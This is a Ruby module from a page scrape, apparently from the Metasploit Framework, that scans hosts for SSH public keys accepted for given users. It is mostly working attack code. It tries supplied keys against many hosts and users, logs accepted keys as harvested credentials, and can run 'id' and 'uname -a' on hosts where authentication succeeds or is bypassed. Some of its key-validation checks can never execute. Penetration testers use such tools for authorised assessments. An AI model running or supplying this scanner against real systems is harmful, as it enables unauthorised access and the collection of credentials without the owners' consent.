320 lines
11 KiB
Ruby
320 lines
11 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'net/ssh'
|
|
require 'sshkey' # TODO: Actually include this!
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::AuthBrute
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SSH Public Key Acceptance Scanner',
|
|
'Description' => %q{
|
|
This module can determine what public keys are configured for
|
|
key-based authentication across a range of machines, users, and
|
|
sets of known keys. The SSH protocol indicates whether a particular
|
|
key is accepted prior to the client performing the actual signed
|
|
authentication request. To use this module, a text file containing
|
|
one or more SSH keys should be provided. These can be private or
|
|
public, so long as no passphrase is set on the private keys.
|
|
|
|
If you have loaded a database plugin and connected to a database
|
|
this module will record authorized public keys and hosts so you can
|
|
track your process.
|
|
|
|
|
|
Key files may be a single public (unencrypted) key, or several public
|
|
keys concatenated together as an ASCII text file. Non-key data should be
|
|
silently ignored. Private keys will only utilize the public key component
|
|
stored within the key file.
|
|
},
|
|
'Author' => ['todb', 'hdm'],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(22),
|
|
OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext public keys.'])
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
|
OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]),
|
|
OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']),
|
|
OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.']),
|
|
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
|
]
|
|
)
|
|
|
|
deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS')
|
|
|
|
@good_credentials = {}
|
|
@good_key = ''
|
|
@strip_passwords = true
|
|
|
|
end
|
|
|
|
def key_dir
|
|
datastore['KEY_DIR']
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
def ip
|
|
datastore['RHOST']
|
|
end
|
|
|
|
def read_keyfile(file)
|
|
if file == :keyfile_b64
|
|
keyfile = datastore['SSH_KEYFILE_B64'].unpack("m*").first
|
|
elsif file.kind_of? Array
|
|
keyfile = ''
|
|
file.each do |dir_entry|
|
|
next unless ::File.readable? dir_entry
|
|
keyfile << ::File.open(dir_entry, "rb") {|f| f.read(f.stat.size)}
|
|
end
|
|
else
|
|
keyfile = ::File.open(file, "rb") {|f| f.read(f.stat.size)}
|
|
end
|
|
keys = []
|
|
this_key = []
|
|
in_key = false
|
|
keyfile.split("\n").each do |line|
|
|
if line =~ /ssh-(dss|rsa)\s+/
|
|
keys << line
|
|
next
|
|
end
|
|
in_key = true if(line =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
|
this_key << line if in_key
|
|
if(line =~ /^-----END [RD]SA (PRIVATE|PUBLIC) KEY-----/)
|
|
in_key = false
|
|
keys << (this_key.join("\n") + "\n")
|
|
this_key = []
|
|
end
|
|
end
|
|
if keys.empty?
|
|
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
|
end
|
|
return validate_keys(keys)
|
|
end
|
|
|
|
# Validates that the key isn't total garbage, and converts PEM formatted
|
|
# keys to SSH formatted keys.
|
|
def validate_keys(keys)
|
|
keepers = []
|
|
keys.each do |key|
|
|
if key =~ /ssh-(dss|rsa)/
|
|
keepers << key
|
|
next
|
|
else # Use the mighty SSHKey library from James Miller to convert them on the fly.
|
|
ssh_version = SSHKey.new(key).ssh_public_key rescue nil
|
|
keepers << ssh_version if ssh_version
|
|
next
|
|
end
|
|
|
|
# Needs a beginning
|
|
next unless key =~ /^-----BEGIN [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a/m
|
|
# Needs an end
|
|
next unless key =~ /\n-----END [RD]SA (PRIVATE|PUBLIC) KEY-----\x0d?\x0a?$/m
|
|
# Shouldn't have binary.
|
|
next unless key.scan(/[\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff]/).empty?
|
|
# Add more tests to taste.
|
|
keepers << key
|
|
end
|
|
if keepers.empty?
|
|
print_error "#{ip}:#{rport} SSH - No valid keys found"
|
|
end
|
|
return keepers.uniq
|
|
end
|
|
|
|
def pull_cleartext_keys(keys)
|
|
cleartext_keys = []
|
|
keys.each do |key|
|
|
next unless key
|
|
next if key =~ /Proc-Type:.*ENCRYPTED/
|
|
this_key = key.gsub(/\x0d/,"")
|
|
next if cleartext_keys.include? this_key
|
|
cleartext_keys << this_key
|
|
end
|
|
if cleartext_keys.empty?
|
|
print_error "#{ip}:#{rport} SSH - No valid cleartext keys found"
|
|
end
|
|
return cleartext_keys
|
|
end
|
|
|
|
def do_login(ip, port, user)
|
|
|
|
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
|
|
keys = read_keyfile(datastore['KEY_FILE'])
|
|
cleartext_keys = pull_cleartext_keys(keys)
|
|
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
|
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
|
|
keys = read_keyfile(:keyfile_b64)
|
|
cleartext_keys = pull_cleartext_keys(keys)
|
|
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
|
|
elsif datastore['KEY_DIR']
|
|
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
|
|
unless @key_files
|
|
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/}
|
|
end
|
|
these_keys = @key_files.map {|f| File.join(key_dir,f)}
|
|
keys = read_keyfile(these_keys)
|
|
cleartext_keys = pull_cleartext_keys(keys)
|
|
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
|
else
|
|
return :missing_keyfile
|
|
end
|
|
|
|
unless @alerted_with_msg
|
|
print_status msg
|
|
@alerted_with_msg = true
|
|
end
|
|
|
|
cleartext_keys.each_with_index do |key_data,key_idx|
|
|
key_info = ""
|
|
|
|
if key_data =~ /ssh\-(rsa|dss)\s+([^\s]+)\s+(.*)/
|
|
key_info = "- #{$3.strip}"
|
|
end
|
|
|
|
|
|
accepted = []
|
|
opt_hash = {
|
|
:auth_methods => ['publickey'],
|
|
:msframework => framework,
|
|
:msfmodule => self,
|
|
:port => port,
|
|
:key_data => key_data,
|
|
:disable_agent => true,
|
|
:record_auth_info => true,
|
|
:skip_private_keys => true,
|
|
:config =>false,
|
|
:accepted_key_callback => Proc.new {|key| accepted << key },
|
|
:proxies => datastore['Proxies']
|
|
}
|
|
|
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
ssh_socket = nil
|
|
::Timeout.timeout(datastore['SSH_TIMEOUT']) { ssh_socket = Net::SSH.start(ip, user, opt_hash) } rescue nil
|
|
|
|
if datastore['SSH_BYPASS'] and ssh_socket
|
|
data = nil
|
|
|
|
print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...")
|
|
|
|
begin
|
|
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
|
|
rescue ::Exception
|
|
end
|
|
|
|
print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data
|
|
end
|
|
|
|
::Timeout.timeout(1) { ssh_socket.close if ssh_socket } rescue nil
|
|
|
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
|
return :connection_error
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
return :connection_disconnect
|
|
rescue Net::SSH::AuthenticationFailed
|
|
rescue Net::SSH::Exception => e
|
|
return [:fail,nil] # For whatever reason.
|
|
end
|
|
|
|
if accepted.length == 0
|
|
if @key_files
|
|
print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
|
|
else
|
|
print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}"
|
|
end
|
|
end
|
|
|
|
accepted.each do |key|
|
|
print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
|
|
do_report(ip, rport, user, key, key_data)
|
|
end
|
|
end
|
|
end
|
|
|
|
def do_report(ip, port, user, key, key_data)
|
|
return unless framework.db.active
|
|
keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data)
|
|
cred_hash = {
|
|
:host => ip,
|
|
:port => rport,
|
|
:sname => 'ssh',
|
|
:user => user,
|
|
:pass => keyfile_path,
|
|
:source_type => "user_supplied",
|
|
:type => 'ssh_pubkey',
|
|
:proof => "KEY=#{key[:fingerprint]}",
|
|
:duplicate_ok => true,
|
|
:active => true
|
|
}
|
|
this_cred = report_auth_info(cred_hash)
|
|
end
|
|
|
|
def existing_loot(ltype, key_id)
|
|
framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
|
|
end
|
|
|
|
def store_keyfile(ip,user,key_id,key_data)
|
|
safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
|
|
ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil
|
|
return unless ktype
|
|
ktype = "dsa" if ktype == "dss"
|
|
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
|
|
keyfile = existing_loot(ltype, key_id)
|
|
return keyfile.path if keyfile
|
|
keyfile_path = store_loot(
|
|
ltype,
|
|
"application/octet-stream", # Text, but always want to mime-type attach it
|
|
ip,
|
|
(key_data + "\n"),
|
|
"#{safe_username}_#{ktype}.pub",
|
|
key_id
|
|
)
|
|
return keyfile_path
|
|
end
|
|
|
|
def run_host(ip)
|
|
# Since SSH collects keys and tries them all on one authentication session, it doesn't
|
|
# make sense to iteratively go through all the keys individually. So, ignore the pass variable,
|
|
# and try all available keys for all users.
|
|
each_user_pass do |user,pass|
|
|
ret, proof = do_login(ip, rport, user)
|
|
case ret
|
|
when :connection_error
|
|
vprint_error "#{ip}:#{rport} SSH - Could not connect"
|
|
:abort
|
|
when :connection_disconnect
|
|
vprint_error "#{ip}:#{rport} SSH - Connection timed out"
|
|
:abort
|
|
when :fail
|
|
vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
|
|
when :missing_keyfile
|
|
vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile"
|
|
when :no_valid_keys
|
|
vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile"
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|